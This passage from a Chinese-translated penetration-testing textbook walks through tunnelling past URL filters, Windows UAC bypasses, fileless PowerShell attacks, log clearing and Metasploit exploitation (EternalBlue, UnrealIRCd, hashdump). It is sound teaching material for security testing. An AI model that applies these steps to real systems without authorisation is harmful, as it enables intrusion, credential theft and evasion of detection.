 下一步，你应该能够使用互联网系统与内部网络进行通信。
 
 绕过URL过滤机制
 
 你可以利用现有的SSH连接，并使用端口转发技术来绕过安全策略或本地设备的任何限制。
 
 当我们尝试访问下面的例子时，显示有一个URL过滤设备，它阻止我们访问某些网站，如图9-20所示。
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 图9-20　有URL过滤设备的系统
 
 这可以用一个隧道工具来绕过。在本例中，我们将使用一个可移植的软件PuTTY：
 
 1.打开PuTTY菜单。
 
 2.单击连接（Connection）选项卡上的隧道（Tunnels）。
 
 3.输入本地端口为8090，并将远程端口添加为任意一个，如图9-21所示。
 
 这保证了内部到外部系统的互联网访问，意味着端口8090上的所有流量现在可以通过在61.x.x.142上的外部系统进行转发。
 
 4.下一步是找到Internet Options|LAN connections|Advanced|SOCKs，在代理地址中（Proxy address to use）输入127.0.0.1，在端口上输入8090，如图9-22所示。
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 图9-21　添加远程端口
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 图9-22　输入代理地址和端口号
 
 现在代理指向了远程机器，你将可以访问该网站，没有来自代理或任何URL过滤设备的任何阻挡，如图9-23所示。通过这种方式，渗透测试人员可以绕过URL过滤，并将数据泄漏到公共云，或黑客托管的计算机，或被屏蔽的网站。
 
  
  [image: ] 
 
 
 图9-23　完成任务
 
 由外到内
 
 为了建立一个从外部到内部系统的稳定连接，必须使用SSH建立一个隧道：
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 图9-24显示了使用SSH从内部到外部主机的登录，并在本地主机上打开了一个2210端口，以转发SSH。
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 图9-24　使用SSH
 
 使用反向SSH隧道以绕过任何防火墙限制，从而建立一个稳定的反向连接。在对远程系统进行身份认证后，运行以下命令：
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 在完成内部访问后，剩下的就是维持其持久性以窃取数据，以及维持其不被任何防火墙或网络保护设备检测到。
 
 [image: ]测试人员必须通过编辑/etc/ssh/ssh_config，设置GatewayPorts为yes来改变SSH测试。
 

  9.5　绕过Windows操作系统控制


  在每个企业环境中，我们看到几乎为用户提供的所有终端都使用的是Windows操作系统。因此，处理Windows漏洞利用的可能性总是很高的。在本节中，我们将重点讨论一些特定于Windows操作系统的安全控制，以及如何绕过它们以对终端进行访问。

 
 9.5.1　用户账户控制
 
 当前有52种不同的方式绕过Windows用户账户控制（UAC），参见https://github.com/hfiref0x/UACME。该项目主要关注恶意软件的逆向工程，并提供C#和C语言编写的源码，攻击者只需编译代码就可以发起攻击。
 
 微软引进了安全控制策略，从高、中、低三个不同的完整性级别上来控制运行进程。一个高等级别的进程具有管理员权限，一个中等级别的进程拥有一个标准用户的权限，一个低级别的进程的权限是受限的，这样可以保证当系统受到威胁时，被破解的程序带来的损害是最小的。
 
 要执行任何特权操作，程序必须以管理员的身份运行，并且符合UAC的设置。UAC有以下4个设置：
 
 ·始终通知：这是最严格的设置，在任何时刻，有程序要使用更高级别权限时，它都会提示本地用户。
 
 ·仅在程序试图更改我的计算机时通知我：这是UAC的默认设置。当原生的Windows程序请求更高级别权限时，不通知用户。但是，如果第三方程序要求提升权限，它会提示。
 
 ·只有当程序试图更改我的计算机时通知我（不降低桌面的亮度）：这与默认设置相同，但当提示用户时不降低系统显示器的亮度。
 
 ·从不提示：此选项将恢复系统到Vista以前的版本。如果该用户是管理员，所有的程序都将以高度完整性运行。
 
 因此，在利用完成之后，测试人员（以及攻击者）需要知道以下两件事：
 
 ·哪个用户是系统已经识别的用户？
 
 ·在该系统中，这些用户具有什么权限？
 
 这些可以通过以下命令来获得：
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 一个被入侵的系统可操作的内容是非常完整的，如图9-25中由Mandatory Label\High Mandatory Level Label展示的内容所示。
 
 如果Label是Mandatory Label\Medium Mandatory Level，测试人员需要从标准用户权限提升为管理员权限，才能成功执行许多利用后的步骤。
 
 提权的首选是在Metasploit中运行exploit/windows/local/ask来实施RunAs攻击。这将创建一个可执行文件，当其被调用时，它将运行一个程序来请求提升权限。该可执行文件可通过使用EXE：：Custom选项创建，或者利用Veil框架加密以避免被本地杀毒软件检测到。
 
 RunAs攻击的缺点是，系统会对用户发出提醒：有来自未知发布者的程序企图修改计算机设置。此警报可能会导致权限提升被认定为攻击。如图9-26所示。
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 图9-25　使用C:\>whoami/groups获得信息
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 图9-26　系统提示警告
 
 如果系统当前的用户在管理员组，或者UAC设置为默认，即仅在程序试图更改我的计算机时通知我（如果设置为始终通知，就无法完成），攻击者就可以使用Metasploit的exploit/windows/local/bypassuac模块来提升其特权。
 
 在图9-27中，我们可以看到IP192.168.0.119（受害者）已经被成功地破解，并且在8443上有一个HTTPS的反向shell连接到攻击者IP192.168.0.120。
 
 为了确保你能够完全控制远程机器，你必须要获得管理级别的权限。攻击者通常利用getsystem将他们当前的能力升级到系统级别。
 
 通常，如果该利用在用户的上下文中获得成功，我们可能会收到来自Meterpreter会话的错误消息，如图9-28所示。
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 图9-27　成功入侵受害者IP
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 图9-28　收到的错误信息
 
 bypassuac模块会在目标系统上创建多个工件，它们可以被大多数杀毒软件识别。注意，这仅在用户为本地管理员时有效。现在，让我们使用Windows本地利用来绕过UAC，如图9-29所示。
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 图9-29　绕过UAC
 
 一旦会话被设置为一个活动会话，攻击者将可以绕过Windows操作系统的UAC设置，如图9-30所示。
 
 一次成功的绕过将为攻击者提供另一个带有系统级权限的meterpreter会话，如图9-31所示。
 
 另一个本地利用模块（exploit/windows/local/bypassuac_fodhelper for windows 10UAC）劫持当前用户注册表里的一个特定键值，并插入一个自定义命令，一旦Windows运行fodhelper.exe应用就会自动调用该命令。由于它不触碰硬盘，所以最大限度地降低了被杀毒软件检测到的概率。
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 图9-30　绕过UAC设置
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 图9-31　带有系统级权限的meterpreter会话
 
 试图绕过UAC控制时的一些注意事项如下：
 
 ·Windows 8和Windows 10仍然很容易受到这种攻击。如果有人尝试攻击，在攻击者提高权限前，用户会被提示点击确定按钮，很难做到隐身攻击。攻击者可以选择使用exploit/windows/local/ask来修改攻击以提高成功率。
 
 ·考虑到系统到系统的移动（水平/横向升级），如果当前用户是拥有其他系统本地管理权限的域用户，可以使用现有的身份认证令牌来获取访问并绕过UAC。常见的这种攻击之一是使用Metasploit的exploit/windows/local/bypassuac。
 
 ·另一个针对Windows 10系统的模块是exploit/windows/local/bypassuac_sluihijack。
 
 
 9.5.2　采用无文件技术
 
 传统的终端安全方法是扫描硬盘上下载的所有文件，并根据签名和行为隔离可疑文件。然而，无文件技术的概念是攻击者不在目标系统留下任何可执行文件，取而代之的是，利用已经存在的可执行文件实施攻击。本节我们将学习几种绕过安全控制，获取系统访问权限的无文件攻击方法。
 
 如图9-32所示，利用现有的shell access攻击，我们可以将文件上传至目标系统。
 
 这里是PowerShell命令的一些例子，其运行在目标主机，且一般不会被传统的杀毒软件或者终端保护程序发现，因为它们看起来就像是合法的HTTP通信：
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 图9-32　利用shell access攻击上传文件
 
 利用fodhelper绕过Windows 10的UAC
 
 fodhelper.exe是Windows系统的一个可执行文件，主要用于管理Windows设置中的特征。如果攻击者有目标系统受限的shell访问权限或者一般用户的访问权限，那么他们就可以利用fodhelper.exe绕过UAC。这可以通过在命令行运行以下PowerShell脚本实现，并获得系统权限访问。
 
 当HTTP Web服务器由攻击者托管时，可以通过以下步骤实现绕过UAC：
 
 1.下载绕过脚本（https://raw.githubusercontent.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-TestingThird-Edition/master/Chapter%2009/Bypass/Fodhelper-Bypass.ps1）
 
 2.在Kali Linux中启用apache2服务。
 
 3.运行cp FodhelperBypass.ps1/var/www/html/anyfolder/，然后运行如下脚本：
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 上述脚本将以一个高级权限打开Empire PowerShell的一个新的shell。我们将在第10章中详细介绍如何使用Empire。
 
 利用Disk Cleanup绕过Windows 10的UAC
 
 本方法涉及磁盘清理（Disk Cleanup），它是Windows用以释放硬盘空间的功能。Windows 10的默认任务管理器显示有一个名为SilentCleanup的任务，即便是一个无权限用户来执行，它也会以最高权限运行cleanmgr.exe来执行磁盘清理进程。该进程会在Temp目录下创建一个名为GUID的新文件夹，并存放一个可执行文件和多个DLL文件。
 
 图9-33显示了启动该可执行文件，并依次加载DLL文件。
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 图9-33　启动可执行文件并加载DLL文件
 
 
 9.5.3　其他Windows特定的操作系统控制
 
 Windows特定的操作系统控制可以进一步分为以下五个不同的类别：
 
 ·访问和授权。
 
 ·加密。
 
 ·系统安全。
 
 ·通信安全。
 
 ·审计和日志记录。
 
 访问和授权
 
 大多数的漏洞利用都是在安全控制的访问和授权部分执行的，目的是获得对系统的访问和执行未经授权的活动。一些具体的控制措施是：
 
 ·添加用户访问凭据管理器（Credential Manager），这将允许用户以可信的调用者的身份创建应用程序。作为回报，该账户可以在同一系统上获取另一个用户的凭证。作为一个凭据管理器的例子，该系统的用户将他的个人信息添加到通用凭证（Generic Credential）部分，如图9-34所示。
 
 ·通过基于云的账户登录，在默认情况下，一些Windows操作系统允许使用微软账户。
 
 ·不要忘记遗留系统中的访客账户，以及被用作服务账户来运行预定作业和其他服务的锁定账户。
 
 ·打印驱动程序的安装可以帮助攻击者绕过机器上设置的安全控制。攻击者可以将驱动程序的安装替换为恶意的可执行文件，从而为系统提供一个持久的后门。
 
 ·匿名安全识别（Security Identification，SID）、命名管道、SAM账户的枚举，这些控制要么通过域应用于连接到网络的系统，要么作为单独的安全设置。
 
 ·远程访问注册表路径和子路径。
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 图9-34　添加凭证
 
 加密
 
 Microsoft Windows所采用的加密技术通常使用在密码存储、NTLM会话和安全通道数据上。
 
 攻击者可以要么利用较弱的密码套件，要么禁用该功能本身，很大可能成功地绕过加密。
 
 系统安全
 
 系统级安全主要是围绕本地系统级漏洞利用和要绕过的控制：
 
 ·时区同步——在大多数组织中，所有的端点都将与它们的主域同步时间。这为攻击者提供了一个机会，使他们可以消除证据或追踪漏洞。
 
 ·页面文件创建，在内存中锁定页面并创建令牌对象——一些令牌对象和页面文件在系统级运行。其中一个经典的攻击是休眠文件攻击。
 
 ·当使用本地管理权限获得目标系统的访问之后，渗透测试人员首先需要考虑的事情之一是：添加他们自己到域认证，提升权限，将用户添加到域，创建全局对象、符号链接，从而实现对域的全面访问。
 
 ·加载和卸载设备驱动程序并设置固件环境值。
 
 ·为所有系统用户启用自动管理登录。
 
 通信安全
 
 通常，在通信安全中，大多数的附加网络设备都是必备的，但是，对于Windows系统而言，数字签名证书和服务原则名称（Service Principle Name，SPN）服务器，以及目标名称验证，将是渗透测试人员可以利用来开发自定义漏洞利用工具的重要手段。第10章我们将学习如何利用SPN实施攻击。
 
 审计和日志记录
 
 Windows的大多数默认配置控制都是在系统启用日志中。以下是任何组织都可以启用的日志列表，可以在事故/取证分析中利用这些信息：
 
 ·凭据验证
 
 ·计算机账户管理
 
 ·分配组管理
 
 ·其他账户管理级别
 
 ·安全组管理
 
 ·用户账户管理
 
 ·进程创建
 
 ·指令服务访问和更改
 
 ·账户锁定/注销/登录/特殊登录
 
 ·可移动存储
 
 ·策略更改
 
 ·安全状态更改
 
 这提供了一个清晰的视图，即渗透测试人员必须考虑在杀链方法的后期利用阶段，要清除哪些类型的日志。
 

  9.6　小结


  在本章中，我们深入探讨了克服组织作为其内部保护的一部分的安全控制的系统过程。我们关注的是不同类型的网络访问控制绕过机制，如何利用隧道绕过防火墙建立到外部网络的连接，并学习了如何在网络、应用程序和操作系统控制的各个层面上，确保我们的利用能够成功地到达目标系统。此外，我们还回顾了如何利用Veil-Evasion和Shellter工具来绕过反病毒检测。我们还看到了使用Metasploit框架规避不同的Windows操作系统安全控制的方法，如UAC、应用白名单，以及其他的活动目录特定控制。


  在第10章中，我们将研究各种系统漏洞利用方法，包括公共漏洞利用、框架利用，如Metasploit框架Empire PowerShell项目，以及开发基于Windows的漏洞利用。


  第10章　利用


  传统上，渗透测试的关键目的是利用数据系统并获取凭证，或者直接访问感兴趣的数据。正是利用赋予了渗透测试其意义。在本章中，我们将研究各种利用系统的方法，包括公开漏洞利用和可用的漏洞利用框架。到本章的结尾，你应该能够理解：


  ·Metasploit框架。


  ·使用Metasploit的目标漏洞利用。


  ·利用单行命令接管目标。


  ·使用公开漏洞利用。


  ·开发Windows特定的漏洞利用示例。

 
 10.1　Metasploit框架
 
 Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在便利渗透测试。它是用Ruby语言编写，采用模块化的方法来方便杀链中漏洞利用阶段的利用活动。这使得它易于开发和编写代码，而且可以更容易地实现复杂的攻击。
 
 图10-1是Metasploit框架的体系结构和组成。
 
 这个框架可以分成三个主要部分：
 
 ·库
 
 ·接口
 
 ·模块
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 图10-1　Metasploit框架的体系结构和组成
 
 
 10.1.1　库
 
 Metasploit框架是使用各种函数、库，以及像Ruby这样的编程语言构建的。要实现这些函数，首先，渗透测试人员必须了解这些函数是什么，如何触发它们，哪些参数应该传递给函数，以及期望的结果是什么。
 
 所有的库都在/usr/share/Metasploit-framework/lib/文件夹中列出，如图10-2所示：
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 图10-2　所有库的列表
 
 1.REX
 
 REX是一个包含在Metasploit中的库，最初是由Jackob Hanmack开发的，后来成为Rapid7开发团队的正式产品。这个库提供了可用于漏洞利用开发的各种类。在现在的Metasploit框架中，REX处理所有核心功能，如套接口连接、原始函数和其他的重新格式化。
 
 2.框架核心
 
 这个库位于/usr/share/metasploit-framework/lib/msf/core中，它为所有要编写的新模块提供基本的应用程序编程接口（Application Programming Interface，API）。
 
 3.框架基础
 
 这个库为会话、shell、Meterpreter、VNC提供合适的API，以及其他默认的API，但它依赖于框架核心。
 
 作为Metasploit框架一部分的其他扩展部分，还包括定制的插件、协议工具、安全工具、Web服务和其他可以被利用的集成服务。
 
 
 10.1.2　接口
 
 MSF曾有多个接口，如CLI、Web接口等。在最新版本（社区版和专业版）中，所有这些接口都被Rapid7开发团队抛弃了。我们将在本章中探索控制台接口和GUI（Armitage）界面。控制台接口是最快的，因为它提供了攻击命令，并且在一个易于理解的界面提供了所需的配置参数。
 
 要访问该界面，需要在命令提示符中输入msfconsole，图10-3显示了该应用程序启动时的界面。
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 图10-3　MSF启动界面
 

  10.1.3　模块


  MSF框架由多个模块组成，这些模块组合起来可以影响一个漏洞利用。各个模块及其具体的功能如下：


  ·利用：针对特定漏洞的代码片段。主动利用会针对某个特定的目标进行持续性利用，直到完成任务，然后退出（例如，缓冲区溢出）。被动利用是指等待进入主机，如Web浏览器或FTP客户端，当它们连接时再进行利用。


  ·负载：这是在成功利用后立即执行的恶意代码。


  ·辅助模块：这些模块不会在测试者和目标系统之间建立或直接支持访问。相反，它们执行如扫描、模糊或嗅探等相关功能以支持利用阶段。


  ·后期模块：成功攻击目标后，这些模块运行在受损目标上，收集有用的数据，支持攻击者深入目标网络。我们将在第11章继续学习后期模块利用。


  ·编码器：当利用必须绕过杀毒防御时，这些模块对负载进行编码，以使其不会被签名匹配技术检测到。


  ·无操作（NOP）：这些是在攻击时用来方便缓冲区溢出的。


  这些模块一起使用，用于对目标进行侦察并发动攻击。使用MSF利用目标系统的大致步骤如下：


  1.选择并配置一个漏洞利用（用于破解目标系统上特定漏洞的代码）。


  2.检查目标系统，以确定它是否容易受到漏洞利用的攻击。此步骤是可选的，通常将其省略来减少被检测到的概率。


  3.选择和配置负载（在利用成功后，该代码将在目标系统上执行。例如，从遭破解的系统到源的反向shell）。


  4.选择一项编码技术，用其来绕过检测控制（ID/IP或杀毒软件）。


  5.执行利用。

 
 10.1.4　数据库设置和配置
 
 设置新版本的Metasploit是相当简单的，因为从msf3版本开始，Metasploit不再作为一个服务运行。
 
 1.通过在终端中运行systemctl start postgresql.service启动PostgreSQL。
 
 2.通过运行msdb init来初始化Metasploit数据库。除非是第一次，否则初始化将创建msf数据库，同时创建一个角色，并在/usr/share/metasploit-framework/config/database.yml配置文件中添加msf_test和msf数据库。否则，默认情况下，msf数据库将在Kali Linux的预构建中创建，如图10-4所示。
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 图10-4　msf数据库初始化
 
 3.现在准备访问msfconsole。
 
 4.进入控制台后，你可以输入db_status来验证数据库的状态，应该能够看到以下内容：
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 5.在不同部门（或两家不同的公司）的多个目标的情况下，在Metasploit中创建一个工作区是很好的做法。这可以通过在msfconsole中运行workspace命令来完成。下面的摘录显示了帮助菜单，你可以在这里添加或删除工作区以组织这些利用来实现目标：
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 下面的例子呈现了对目标（基于Linux的操作系统）的简单的Unreal IRCD攻击。安装好虚拟机后（见第1章），你可以利用db_nmap命令扫描Metasploitable3，识别其开放的端口及对应的应用。db_nmap扫描结果如图10-5所示。
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 图10-5　db_nmap扫描结果
 
 在前面的例子中，nmap识别了几个应用程序。可以使用db_import命令将分开使用nmap扫描的结果导入Metasploit。nmap通常会产生三种类型的输出：xml、nmap和gnmap。xml格式可以使用Nmap nokogiri解析器导入数据库。一旦将结果导入数据库，就可以在大型nmap数据集下使用多个选项，如图10-6所示。
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 图10-6　将xml格式数据导入
 
 作为一名测试人员，我们应该逐一调查任何已知的漏洞。如图10-7所示，如果我们运行msfconsole中的services命令，就会出现主机及其相关服务信息。
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 图10-7　主机及其服务信息
 
 第一步可以从Metasploit的利用收集开始，可以在命令行使用以下命令搜索：
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 结果返回了一个关于UnrealIRCd服务的特定利用。图10-8显示了一个可用的利用。如果测试人员选择利用其他列出的服务，可以在Metasploit搜索关键字。
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 图10-8　UnrealIRCd服务利用
 
 因为exploit/unix/irc/unreal_ircd_3281_backdoor漏洞利用的排名靠前，所以剩下部分选择其作为例子。这个排名由Metasploit的开发团队确定，并注明了一个熟练的测试人员针对一个稳定的系统使用该利用时的可靠性。在现实生活中，许多不确定因素（测试人员的技能、网络中的保护装置、对操作系统和应用程序的修改）会对漏洞利用的可靠性产生显著影响。
 
 有关漏洞利用的附加信息可以通过下面的命令获得：
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 返回的信息包括引用，以及如图10-9所示的信息。
 
 为了对Metasploit进行演示，我们将通过该漏洞利用来攻击目标，命令如下：
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 Metasploit将命令提示符msf>变为msf exploit(unix/irc/unreal_ircd_3281_backdoor)>。
 
 Metasploit提示测试人员选择负载（例如，从遭破解的系统到攻击者的反向shell），同时设置其他变量，如下所示：
 
 ·远程主机（Remote Host，RHOST）：被攻击的系统IP地址。
 
 ·远程端口（Remote Port，RPORT）：用于漏洞利用的端口号。在例子中，我们利用的服务在默认端口6667，但是本地相同的服务运行的端口是6697。
 
 ·本地主机（Local Host，LHOST）：用于发动攻击的系统IP地址。
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 图10-9　漏洞利用的附加信息
 
 设置完所有参数变量后，在命令提示符下输入exploit命令发动攻击。Metasploit发起攻击，然后确认一个反向shell。在其他利用中，成功的利用由命令command shell 1opened启动，给出IP地址，完成反向shell。
 
 要验证一个shell，测试人员可以针对主机名、用户名（uname-a）和whoami进行查询，并确定结果是否与远程目标系统相对应，参见图10-10。
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 图10-10　验证shell
 
 此利用可以通过使用后利用模块来进一步开发。按下Ctrl+Z组合键，在后台运行Meterpreter，你会接收到Background session1?[y/N]y enter y。
 
 当一个系统被破解到这种程度时，它已经为进行后期漏洞利用活动做好准备（参见第11章和第13章以确定如何升级权限以及保持对系统的访问）。
 

  10.2　使用MSF利用目标


  Metasploit框架针对第三方应用程序的漏洞攻击与对操作系统的漏洞攻击一样有效。我们将看两个场景的示例。

 
 10.2.1　使用简单反向shell攻击单个目标
 
 在这个例子中，我们将利用一个名为DoublePulsar的缓冲区溢出漏洞利用，它特别是针对那些有EternalBlue漏洞的系统，Wannacry勒索软件在2017年4月震撼了世界。该漏洞存在于以Windows方式实现的SMB版中，特别是在TCP端口445和端口139上的SMBv1和NBT，它以一种不安全的方式共享数据。在系统用户的环境下，利用的结果是导致任意的代码都可以执行。
 
 要发起攻击，首先应打开msfconsole，并将Metasploit设置为use，如图10-11所示。
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 图10-11　打开msfconsole的截图
 
 这个利用是相对简单的。它要求测试人员设置一个反向shell（reverse_tcp），从被破解的系统回到攻击者的系统，即本地主机LHOST。
 
 当利用完成时，它会打开两个系统之间的Meterpreter反向shell。Meterpreter提示会话将被打开，测试人员可以使用命令shell有效地访问远程系统。破解后的第一步是验证你是否在目标系统上。正如你在图10-12中所看到的，sysinfo命令识别计算机名称和操作系统，验证成功的攻击。
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 图10-12　使用sysinfo验证成功的攻击
 
 如图10-13所示，hashdump命令显示了所有用户名和密码的散列值。
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 图10-13　利用hashdump显示用户名和密码的散列值
 
 进一步，为了存储这些信息以增强网络中的横向移动，测试人员可以利用msfconsole中的loot命令来保存这些信息。在单系统或多系统破解的情况下，Meterpreter中的loot命令会将所有密码的散列值和账号信息抽取到一个本地数据库中。
 
 
 10.2.2　利用具有PowerShell攻击媒介的反向shell攻击单个目标
 
 在本节中，我们将举一个类似的漏洞利用例子。在屏幕保护程序路径的处理中存在漏洞，可以使用任意路径作为屏幕保护程序的路径。这允许攻击者运行远程代码执行。如果受害者离开计算机，或者屏幕保护程序被设置为运行，也就是说，Windows试图定期访问屏幕保护程序，同样的漏洞利用每次都会运行。
 
 我们将使用ms13_071_theme，最初只影响Windows XP和Windows 2003。不过，它仍然适用于Windows 7和Windows 2008。现在，让我们为Metasploit装备所有必需的信息，如payload、lhost和lport，这些信息已经填充并准备好利用，如图10-14所示。
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 图10-14　Metasploit装备信息
 
 在这个漏洞利用中，我们将为ReverShell使用PowerShell攻击媒介，因此我们将使用windows/powershell_reverse_tcp负载。
 
 下一步是让受害者通过SMB来打开链接。这意味着漏洞利用可能是网络钓鱼或其他社会工程学技术。一旦受害者打开链接，一些用户可能会收到如图10-15所示的警告。
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 图10-15　用户收到的警告信息
 
 因此，对于渗透测试人员来说，建议签署.scr文件作为一个合法的内部用户。下一步在用户点击Run时进行，就是这样。这就用PowerShell为攻击者打开了一个ReverseShell，如图10-16所示，这允许攻击者在受害者系统上运行PowerShell命令，并将权限升级到域级。
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 图10-16　在受害者系统上运行PowerShell命令
 
 
 10.3　使用MSF资源文件的多目标利用
 
 MSF资源文件基本上是行分隔的文本文件，其中包括需要在msfconsole中执行的一系列命令。我们来创建一个可以在多个主机上利用相同漏洞的资源文件：
 
  
  [image: ] 
 
 
 将文件保存为doublepulsar.rc，现在已经准备好通过运行msfconsole–r filename.rc来调用资源文件，-r指的是资源文件。前面的资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成，专门的exploit-j将把正在运行的漏洞利用转移到后台，允许下一个漏洞利用继续进行。一旦所有目标的利用都完成了，我们在Metasploit中就能看到多个Meterpreter shell。
 
 [image: ]如果该漏洞利用被设计为只在一个主机上运行，则不可能进入多个主机或IP范围。但是，另一种方法是在每个主机上使用不同的lport号码来运行相同的利用。我们将讨论更多关于已存在的MSF资源文件的问题，这些文件可以在第11章中逐步升级特权时使用。
 
 
 10.4　使用Armitage的多目标利用
 
 Armitage经常被渗透测试人员忽视，由于测试人员喜欢Metasploit控制台的传统命令行输入，而避开Armitage的图形用户界面。然而，Armitage在提供许多可视化选项的前提下，拥有Metasploit的功能，使其成为在复杂测试环境下的一个绝佳选择。与Metasploit不同，它允许你在同一时间测试多个目标，上限为512个。
 
 启动Armitage，并确保已启动数据库和Metasploit服务，使用以下命令：
 
  
  [image: ] 
 
 
 完成上一步之后，在命令提示符下输入armitage，并执行该命令。Armitage并不总能正常执行，它可能需要重复启动的步骤，以确保其正确运行。
 
 为了发现可用的目标，你可以手动提供IP地址添加主机，或选择菜单按钮Hosts栏上的nmap扫描添加主机。Armitage还可以使用MSF辅助命令或DNS枚举来枚举目标。
 
 Armitage可以从下列文件获得主机的数据：Acunetix、amap、AppScan、Burp proxy、Foundstone、Microsoft Baseline Security Analyzer、Nessus NBE和XML文件、NetSparker、NeXpose、Nmap、OpenVas、Qualys，以及Retina。
 
 Armitage启动界面如图10-17所示。
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 图10-17　Armitage启动界面
 
 Armitage允许通过右击选择一个主机，设置该主机的标签。这允许你使用一个共同的名字来标记某个特定的地址或确认主机，当使用基于团队的测试时，这是很有帮助的。然后选择一个主机（host）菜单，并且选择设置标签（set Label）功能，这个过程如图10-18所示。
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 图10-18　设置标签
 
 Armitage还支持动态工作空间——网络的筛选视图，可以将网络标准、操作系统、开放的端口和服务、标签等作为筛选的条件。例如，你可以测试一个网络，并确定几个服务器，但是不出现该网络的其他剩余内容。给它们一个标签，让这些内容能够突出显示，然后将它们放置在一个优先级的工作空间中。
 
 一旦在网络上确定了目标系统，就可以选择特定的模块作为漏洞利用过程的一部分来实现。你还可以使用菜单栏中的攻击（Attacks）选项来查找攻击方法。
 
 要利用一个主机，右击并导航到攻击（Attacks）项，选择一个利用（确保设置正确的主机操作系统，这并不总是自动发生）。
 
 一个有趣的选项是Hail Mary，位于攻击（Attacks）项下。通过选择这个功能，所有识别系统都会自动对漏洞目标进行利用，以达到可能破解目标的最大数量，如图10-19所示。
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 图10-19　选择Attacks后的截图
 
 这是一个非常嘈杂的攻击，因此应该被用来作为测试选择的最后手段。这也是一种很好的方式，用来确定是否安装好入侵检测系统，并且配置正确！
 
 被破解的系统显示为一个带电火花的红色边界图标。在图10-20中，两个测试系统已经被破解，在这些系统和测试人员之间有四个活动会话。活动会话（Active Sessions）面板表示这个连接，并确定了哪些漏洞利用被用于破解目标。图10-20展示了不同的选择。
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 图10-20　被攻击主机与测试者之间的活动会话
 
 在渗透测试进行的过程中，Hail Mary选项确定了目标的两个可利用的漏洞，并且启动了两个活动会话。手动测试同一目标，最终确定了8个可利用的漏洞，在被破解的系统和测试人员之间建立了多条通信通道。真实世界这种类型的测试强化了这种类型的优点，并且强化了在渗透测试过程中使用自动化工具的弱点。
 

  10.5　使用公开的漏洞利用


  所有的攻击者都用自己的眼睛在最大范围内寻找公开的漏洞利用，并根据他们的要求对其进行修改。在2017年4月14日，最新的漏洞利用EternalBlue震撼了整个互联网世界，让人们意识到什么是勒索软件。不管怎样，在本节中，我们将深入探讨如何利用已知的漏洞利用论坛，以及如何将它们加入Kali Linux中。

 
 10.5.1　定位和验证公开可用的漏洞利用
 
 通常情况下，渗透测试人员在测试中发现了0-day漏洞利用会告知公司。然而，在真实情况下，发现的任何漏洞都将被利用，为了金钱/名誉而出售。渗透测试的一个重要方面是在互联网上找到公开可用的漏洞利用，并提供正确的概念证明。
 
 互联网上诞生的最早的漏洞利用数据库是Milw0rm。使用相同的概念，我们可以看到多个相似的数据库，这些数据库可以被渗透测试社区使用。以下是攻击者寻找漏洞利用的常用地点列表：
 
 ·Exploit-DB（EDB）：名字说明它是一个互联网上的公开漏洞收集数据库，包括具有漏洞的软件版本。EDB是由漏洞研究人员和社区的渗透测试人员发展起来的。为使其在渗透测试或红队测试中更有价值，渗透测试人员经常使用Exploit-DB作为概念的证明，而不是咨询。
 
 ·作为版本的一部分，EDB嵌入到了Kali Linux 2.0中，它使得通过Searchsploit搜索所有可用的漏洞利用变得相当简单。EDB的优点是通用漏洞披露（Common Vulnerabilities Exposure，CVE）兼容，并且无论在哪里使用，这些漏洞利用都将包括CVE的详细信息。
 
 ·Searchsploit ftp Windows remote：Searchsploit是Kali Linux中的一个简单实用工具，可以通过关键词搜索找到来自EDB的所有利用，从而缩小攻击范围。打开终端并输入searchsploit后，你应该能够看到如图10-21所示的内容。
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 图10-21　使用searchsploit
 
 ·SecurityFocus：SecurityFocus是另一个信息源，其中所有公开披露的漏洞都与它们的通用漏洞披露一起发布。
 
 ·让我们导航到www.securityfocus.com并搜索所有的漏洞。现在，攻击者应该能够看到如图10-22所示的界面，它允许渗透测试人员找到所有产品的所有漏洞。
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 图10-22　在http://www.securityfocus.com/寻找漏洞
 
 ·在SecurityFocus中，所有报告的漏洞都以投标的形式存储。它包括的每个漏洞的主要部分如图10-23所示。
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 图10-23　漏洞信息
 
 SecurityFocus中的各个部分解释如下：
 
 ·info：提供了漏洞和受影响平台的详细信息以及缺陷跟踪ID（bugtrack ID）。
 
 ·discussion：提供了关于报告漏洞的详细信息。
 
 ·exploit：如果有任何公开的利用代码，那么它就可以下载。
 
 ·solution：提供最新的服务包详细信息和热修复细节。
 
 ·reference：包括所有的讨论、缺陷跟踪参考和对报告漏洞的解决方案参考。
 
 
 10.5.2　编译和使用漏洞
 
 攻击者将收集所有相关漏洞，发布并编译它们，使它们成为利用目标的武器。在本节中，我们将深入研究不同类型的文件的编译，并添加Ruby所写的所有利用，将msfcore作为Metasploit模块的基础。
 
 编译C文件
 
 旧版的利用是用C语言编写的，尤其是缓冲区溢出攻击。让我们举一个从EDB编译C文件的例子，并对脆弱的Apache服务器进行利用。
 
 攻击者可以利用GNU编译器集合将C文件编译成可执行文件，相关命令如下：
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 编译通过后，攻击者可以看到如图10-24所示的截图。
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 图10-24　使用GNU编译C文件
 
 添加基于MSF编写的利用
 
 根据漏洞利用的平台和类型，直接从浏览器在exploit-db.com或/usr/share/exploitdb/exploits/中复制利用文件或脚本。
 
 在这个例子中，我们将使用/usr/share/exploitdb/platforms/windows/remote/16756.rb。将Ruby脚本作为一个自定义漏洞利用添加到Metasploit模块，如图10-25所示，将文件移动到./usr/share/metasploit-framework/modules/exploits/windows/http/，将文件命名为NewExploit.rb。
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 图10-25　复制文件
 
 将文件移动到新位置后，必须重新启动msfconsole，以确保将文件加载到Metasploit可用的模块中。你可以用设置为Metasploit模块的一部分的自定义名称来搜索该模块，如图10-26所示。
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 图10-26　搜索自建模块
 

  10.6　开发Windows利用


  攻击者必须对汇编语言有一个准确的理解，以开发定制的利用。在本节中，我们将介绍一些基础知识，通过构建一个漏洞利用程序来开发Windows利用。


  从开发的角度来看，以下是一份渗透测试人员在利用开发中必须理解的基本术语列表：


  ·寄存器（Register）：所有的进程都通过寄存器执行，它被用来存储信息。


  ·x86：这包括以英特尔为基础的32位系统，64位系统被表示为x64。


  ·汇编语言（Assembly language）：这包括一种低级的编程语言。


  ·缓冲区（Buffer）：这是一个程序中的静态内存持有器，它将数据存储在栈或堆的顶部。


  ·调试器（Debugger）：调试器是可以在执行时用来查看程序运行时的程序，也可以查看注册表和内存的状态。我们将使用的工具包括免疫调试器、GDB和ollydbg。


  ·Shell代码（ShellCode）：这是由攻击者在成功利用中创建的代码。


  以下是不同类型的寄存器：


  ·EAX：这是一个32位的寄存器，它被用作一个累加器，存储数据和操作数。


